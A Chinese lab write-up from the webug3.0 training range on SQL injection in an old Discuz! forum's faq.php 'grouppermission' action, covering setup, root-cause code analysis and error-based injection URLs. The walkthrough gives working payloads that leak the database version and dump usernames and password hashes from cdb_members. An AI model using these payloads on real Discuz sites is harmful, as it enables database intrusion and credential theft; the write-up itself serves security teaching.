Webug3.0通关笔记18 中级进阶第06关 实战练习:DisCuz论坛SQL注入漏洞

目录

一、环境搭建

1、服务启动

2、源码解压

3、构造访问靶场URL

4、靶场安装

5、访问论坛首页

二、代码分析

1、源码分析

2、SQL注入分析

三、渗透实战

(1)判断是否有SQL注入风险

(2)查询账号密码


Discuz! 作为国内知名的论坛程序,源于代码中对用户输入处理不当,导致攻击者可构造恶意请求注入 SQL 语句,进而获取数据库信息、篡改数据甚至控制服务器。本文通过对Webug中级中的DisCuz论坛的SQL注入进行渗透实战,讲解环境搭建与SQL注入复现的过程。

一、环境搭建

1、服务启动

Discuz 论坛需要 PHP、MySQL 和 Web 服务器(如 Apache 或 Nginx)等环境支持。本文使用集成环境搭建工具phpStudy(适用于 Windows 系统),其中php的版本使用5.4.5,启动效果如下所示。

2、源码解压

进入到webug3靶场的pentest子目录,找到cms子文件夹中的dzluntan目录,进入后发现存在一个dzluntan.zip文件,这就是dzluntan论坛的源码,如下所示。

解压dzluntan压缩包后在当前目录生成dzluntan1文件夹,注意这里选择的是解压到当前文件夹,避免生成多一层文件夹。

将dzluntan1文件夹挪到其上一层目录cms中,如下所示。

3、构造访问靶场URL

此时DisCuz论坛源码的路径为根目录下的webug3\pentest\cms,故而其URL地址如下所示。

http://192.168.71.1/webug3/pentest/cms/dzluntan1

4、靶场安装

访问Discuz论坛首页,会被重定向到DisCuz论坛的安装页面,URL地址重定向后如下所示。

http://192.168.71.1/webug3/pentest/cms/dzluntan1/install/

如果提示如上,说明之前可能安装过了,那么就删掉如下lock文件。

再次进入安装主页,在安装页面中,阅读并点击 “我同意” 按钮,进入下一步。

接下来确保所有内容都是绿色的对号,然后点击下一步

接下来填写数据库密码,并配置管理员密码并点击下一步,这里密码需要与数据库密码设置一致,我这里都是root,另外需要记住管理员密码。

 对于收集联系方式信息这一步直接选择跳过此步即可,如下图红框所示。

5、访问论坛首页

接下来提示安装成功,安装成功后网址URL地址主页如下所示。

http://192.168.71.1/webug3/pentest/cms/dzluntan1/

此时页面跳到Discuz首页,具体如下所示。

二、代码分析

1、源码分析

SQL注入风险是由源码faq.php中的148行action=grouppermission的代码导致,如下所示.

elseif($action == 'grouppermission') {...
...ksort($gids);$groupids = array();foreach($gids as $row) {$groupids[] = $row[0];}$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

对代码进行详细注释,如下所示,重点分析逻辑流程和潜在安全风险点。

// 处理"用户组权限"相关操作的分支
elseif($action == 'grouppermission') {// ...(省略其他业务逻辑代码,如参数接收、权限校验等)// 对$gids数组按照键名进行排序(通常用于统一数据顺序)ksort($gids);// 初始化空数组,用于存储提取后的用户组ID$groupids = array();// 遍历$gids数组,提取每个元素的第一个值存入$groupids// 注意:$gids的来源未显示,若来自用户输入则存在安全风险foreach($gids as $row) {// 此处直接取$row[0],未做类型验证或过滤$groupids[] = $row[0];}// 拼接SQL查询语句,查询用户组与管理员组的关联数据// 风险点:使用implodeids()处理$groupids后直接拼接进SQL$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
}
  • 分支判断elseif($action == 'grouppermission')

    表示当操作类型为 "grouppermission"(用户组权限)时,执行此代码块。

  • 数组排序ksort($gids)

    • 功能:按照数组$gids的键名(key)进行升序排序,确保数据顺序一致。
    • 注意:$gids的来源未在代码中体现(可能来自用户提交的表单、URL 参数等),这是潜在风险的起点。
  • 提取用户组 IDforeach($gids as $row) { $groupids[] = $row[0]; }

    • 功能:从$gids的每个元素中提取第一个值(假设为用户组 ID),存入$groupids数组。
    • 风险点:
      • 未对$row[0]进行类型验证(如是否为整数),若$row[0]包含字符串(如1' OR 1=1),则可能引入恶意内容。
      • 未过滤特殊字符(如单引号、逗号等),直接将用户可控数据存入数组。
  • SQL 查询拼接WHERE u.groupid IN (".implodeids($groupids).")

    • 功能:通过implodeids()函数将$groupids数组转换为逗号分隔的字符串(如1,2,3),用于IN条件查询。
    • 风险点:若implodeids()仅做简单拼接(如implode(',', $groupids)),未对元素进行处理,直接拼接变量到 SQL 语句中,可能导致SQL注入。

2、SQL注入分析

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了 。

SQL语句中的implodeids函数就是将上一步的的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

function implodeids($array) {if(!empty($array)) {return "'".implode("','", is_array($array) ? $array : array($array))."'";} else {return '';}
}

不过在implodeids这个函数进行切分的时候,并没有考虑到数组的数据当中有字符/的情况,可以加一个判断过滤数组刚取出来一个转义符,它会将这里一个正常的单引号'转义掉 ,比如这样:

  • 传入数据: $gids 被赋值为 array( array('1'), array('2'), array('3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -') )

  • 循环处理: foreach 循环后,$groupids 数组变为:array( '1', '2', '3\') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -' )

  • 函数拼接: 不安全的 implodeids($groupids) 处理这个数组,返回字符串:'1','2','3') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -'

    注意:最后一个元素的单引号被拼接进了字符串,而 -- - 注释掉了SQL语句末尾原本应有的那个单引号。

  • 最终SQL: 完整的SQL语句变为:SELECT * FROM pre_usergroups u 
    LEFT JOIN pre_admingroups a ON u.groupid=a.admingid 
    WHERE u.groupid IN ('1','2','3') AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -')数据库执行这条语句。IN 条件查询后,紧接着执行了一个报错注入函数 EXTRACTVALUE。数据库会执行子查询 SELECT VERSION(),并将结果拼接后作为报错信息返回。攻击者就能从页面的错误信息中看到数据库的版本号。

三、渗透实战

(1)判断是否有SQL注入风险

构造注入Payload语句如下所示,其中攻击的入口点为处理用户组权限的逻辑。

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
  • faq.php?action=grouppermission: 这是攻击的目标URL和参数,指向处理用户组权限的逻辑。

  • &gids[99]='

    • gids[] 是传入的参数,是一个数组。

    • gids[99]=' 的目的是故意提供一个错误的值(一个孤立的单引号 ',用于提前闭合SQL语句中原本存在的引号,破坏原始SQL的语法结构,为后续注入铺路。

  • &gids[100][0]=: 这是注入 payload 的主体部分。攻击者通过构造一个二维数组,并将Payload放在 [100][0] 的位置,很可能是为了绕过某些简单的过滤或确保其Payload能被循环处理到。

  • 注入的Payload核心主是通过concat(version(), floor(rand(0)*2))获取数据库的版本号:) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

    • concat(version(), floor(rand(0)*2)):

      • version()目标函数。我们想让它执行并回显结果。这里可以替换为任何你想获取的信息,如 user()database()(SELECT password FROM pre_ucenter_members WHERE uid=1) 等。

      • floor(rand(0)*2): 生成一个重复的、可预测的序列(0, 1, 1, 0, 1, 1...)。rand(0) 因为种子固定,所以序列固定。

      • concat() 将数据库版本和这个随机数序列拼接在一起,例如 5.7.421

    • ...x from information_schema.tables group by x:将上面的 concat 结果重命名为 x,然后使用 GROUP BY x 对结果进行分组。这里就是触发错误的关键GROUP BY 或 DISTINCT 操作在MySQL中需要创建临时表。当处理数据时,由于 rand() 函数在分组过程中的计算时机问题,会导致主键重复冲突。数据库试图将两个相同的值(例如两个 5.7.421)插入临时表的唯一主键列,从而引发错误。

 如下所示,获取到数据库的版本5.7.261,渗透成功。

(2)查询账号密码

查询用户名和密码的Payload结构与上一个相同,都是利用MySQL的GROUP BY报错注入。最核心的区别在于concat()函数内部嵌套的子查询,完整Payload如下所示。

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x7e7e,password,0x7e7e) from cdb_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
  • select ... from cdb_memberscdb_members 是Discuz!论坛默认的用户数据表。这表明攻击者的目标已经从探测系统信息升级为直接窃取用户敏感数据。username 和 password 是这张表里的字段,分别存储用户名密码哈希值(通常是MD5加密后的)。

  • concat(username, 0x7e7e, password, 0x7e7e)0x7e7e 是十六进制,解码后是两个波浪号 ~~。这里被用作分隔符,目的是在最终的报错信息中清晰地分开用户名和密码哈希,便于攻击者识别和提取

  • limit 0, 1:这限制了子查询只返回第一行0, 1 表示从第0行开始,取1条记录)。攻击者通常从管理员账户(通常是第一个用户)开始窃取,因为拿下管理员账户就意味着控制了整个论坛。

这里要注意: 其中0x7e7e为 ~~的16进制,用来分割账号和密码,如下所示渗透成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/98438.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/98438.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SWEET:大语言模型的选择性水印

摘要背景与问题大语言模型出色的生成能力引发了伦理与法律层面的担忧,于是通过嵌入水印来检测机器生成文本的方法逐渐发展起来。但现有工作在代码生成任务中无法良好发挥作用,原因在于代码生成任务本身的特性(代码有其特定的语法、逻辑结构&a…

FastDFS V6双IP特性及配置

FastDFS V6.0开始支持双IP,tracker server和storage server均支持双IP。V6.0新增特性说明如下:支持双IP,一个内网IP,一个外网IP,可以支持NAT方式的内网和外网两个IP,解决跨机房或混合云部署问题。FastDFS双…

笔记本、平板如何成为电脑拓展屏?向日葵16成为副屏功能一键实现

向日葵16重磅上线,本次更新新增了诸多实用功能,提升远控效率,实现应用融合突破设备边界,同时全面提升远控性能,操作更顺滑、画质更清晰!无论远程办公、设计、IT运维、开发还是游戏娱乐,向日葵16…

基于Spring Boot + MyBatis的用户管理系统配置

我来为您详细分析这两个配置文件的功能和含义。 一、文件整体概述 这是一个基于Spring Boot MyBatis的用户管理系统配置: UserMapper.xml:MyBatis的SQL映射文件,定义了用户表的增删改查操作application.yml:Spring Boot的核心配置…

80(HTTP默认端口)和8080端口(备用HTTP端口)区别

文章目录**1. 用途**- **80端口**- **8080端口****2. 默认配置**- **80端口**- **8080端口****3. 联系**- **逻辑端口**:两者都是TCP/IP协议中的逻辑端口,用于标识不同的网络服务。- **可配置性**:端口号可以根据需要修改(例如将T…

【开题答辩全过程】以 汽车知名品牌信息管理系统为例,包含答辩的问题和答案

个人简介一名14年经验的资深毕设内行人,语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…

从全栈工程师视角解析Java与前端技术在电商场景中的应用

从全栈工程师视角解析Java与前端技术在电商场景中的应用 面试背景介绍 面试官:你好,很高兴见到你。我叫李明,是这家电商平台的资深架构师。今天我们会聊聊你的技术能力和项目经验。你可以先简单介绍一下自己吗? 应聘者&#xff1a…

【python】python进阶——多线程

引言在现代软件开发中,程序的执行效率至关重要。无论是处理大量数据、响应用户交互,还是与外部系统通信,常常需要让程序同时执行多个任务。Python作为一门功能强大且易于学习的编程语言,提供了多种并发编程方式,其中多…

【JavaEE】(23) 综合练习--博客系统

一、功能描述 用户登录后,可查看所有人的博客。点击 “查看全文” 可查看该博客完整内容。如果该博客作者是登录用户,可以编辑或删除博客。发表博客的页面同编辑页面。 本练习的博客网站,并没有添加注册功能,以及上传作者头像功能…

MySQL全库检索关键词 - idea 工具 Full-Text Search分享

我们经常要在库中查找一个数据,又不知道在哪个表、哪个字段;或者想找到哪里有在用这个数据。我们可以用:idea 的 Database工具 - Full-Text Search打开idea,在工具栏找到 Database 然后新建自己的连接,然后右键&#x…

银行卡号识别案例

代码实现:import cv2 import numpy as np import argparse import myutils-i moban.png -t card1.pngap argparse.ArgumentParser() ap.add_argument("-i","--image", requiredTrue,help"path to input image") ap.add_argument(&quo…

云管平台上线只是开始:从“建好”到“用好”的运营、推广与深化指南

项目上线的喜悦转瞬即逝,随之而来的是一个更为现实和复杂的阶段:运营。云管平台(CMP)的成功,不再仅仅取决于其技术架构的先进性,更在于它能否融入组织的肌理,为不同角色持续创造价值。本文将从管理者、平台团队、开发者、运维和财务五个核心角色的视角,深入探讨平台上线…

distributed.client.Client 用户可调用函数分析

distributed.client.Client 用户可调用函数分析 1. 核心计算函数 任务提交和执行submit(func, *args, keyNone, workersNone, resourcesNone, retriesNone, priority0, fifo_timeout60s, allow_other_workersFalse, actorFalse, actorsFalse, pureNone, **kwargs) 提交单个函数…

数字图像处理——信用卡识别

在数字支付时代,信用卡处理自动化技术日益重要。本文介绍如何利用Python和OpenCV实现信用卡数字的自动识别,结合图像处理与模式识别技术,具有显著实用价值。系统概述与工作原理信用卡数字识别系统包含两大核心模块:模板数字预处理…

嵌入式ARM64 基于RK3588原生SDK添加用户配置选项./build lunch debian

1 背景 在我们正常拿到SDK后会有一些配置选项,在使用./build.sh lunch之后会输出一些defautconfig让我们选择,瑞芯微的原厂sdk会提供一些主板的配置选项,但是我们的如果是一块新的主板就需要添加自己的配置选项,本文就讨论如何来添…

专为石油和天然气检测而开发的基于无人机的OGI相机

专为石油和天然气检测而开发的基于无人机的OGI相机基于无人机的 OGI 相机:(Optical Gas Imaging,光学气体成像)其实是近几年油气、电力、化工等行业里非常热门的应用方向。什么是 OGI 相机OGI(Optical Gas Imaging)&am…

iPhone17全系优缺点分析,加持远程控制让你的手机更好用!

知名数码厂商苹果,不久前已官宣将于北京时间9月10日凌晨1点开启发布会,主打对于iPhone 17系列产品介绍,并且和以往不同的是,今年会在购物平台上开启线上直播,还是很有新意的。9.13全平台渠道将开启预售模式&#xff0c…

人工智能-python-深度学习-神经网络VGG(详解)

LeNet 系列之后 —— VGG(详解):从原理到 PyTorch 实现 文章目录LeNet 系列之后 —— **VGG(详解)**:从原理到 PyTorch 实现1. VGG 的发展历史与意义(一句话+背景)2. VGG…

光伏运维迎来云端革命!AcrelCloud-1200如何破解分布式光伏四大痛点?

在国家“双碳”目标推动下,分布式光伏正迎来爆发式增长🌞。甘肃、吉林、云南等多地政策接连落地,整县推进屋顶光伏试点如火如荼!然而,快速发展的背后,你是否也遇到过这些“光伏运维之痛”?✨【痛…

将 maven 集成到 idea 后出现 向项目创建模块时出错:null 的问题

1.出现的问题今天想将maven继承到idea出现了一下问题:用生成器里面的也会报错,找了找帖子并没有哪位大佬出现类似错误,于是我解决完想分享一下,如果有不对,请指正。2.解决办法很可能是java 的 版本 与 maven 版本有问题…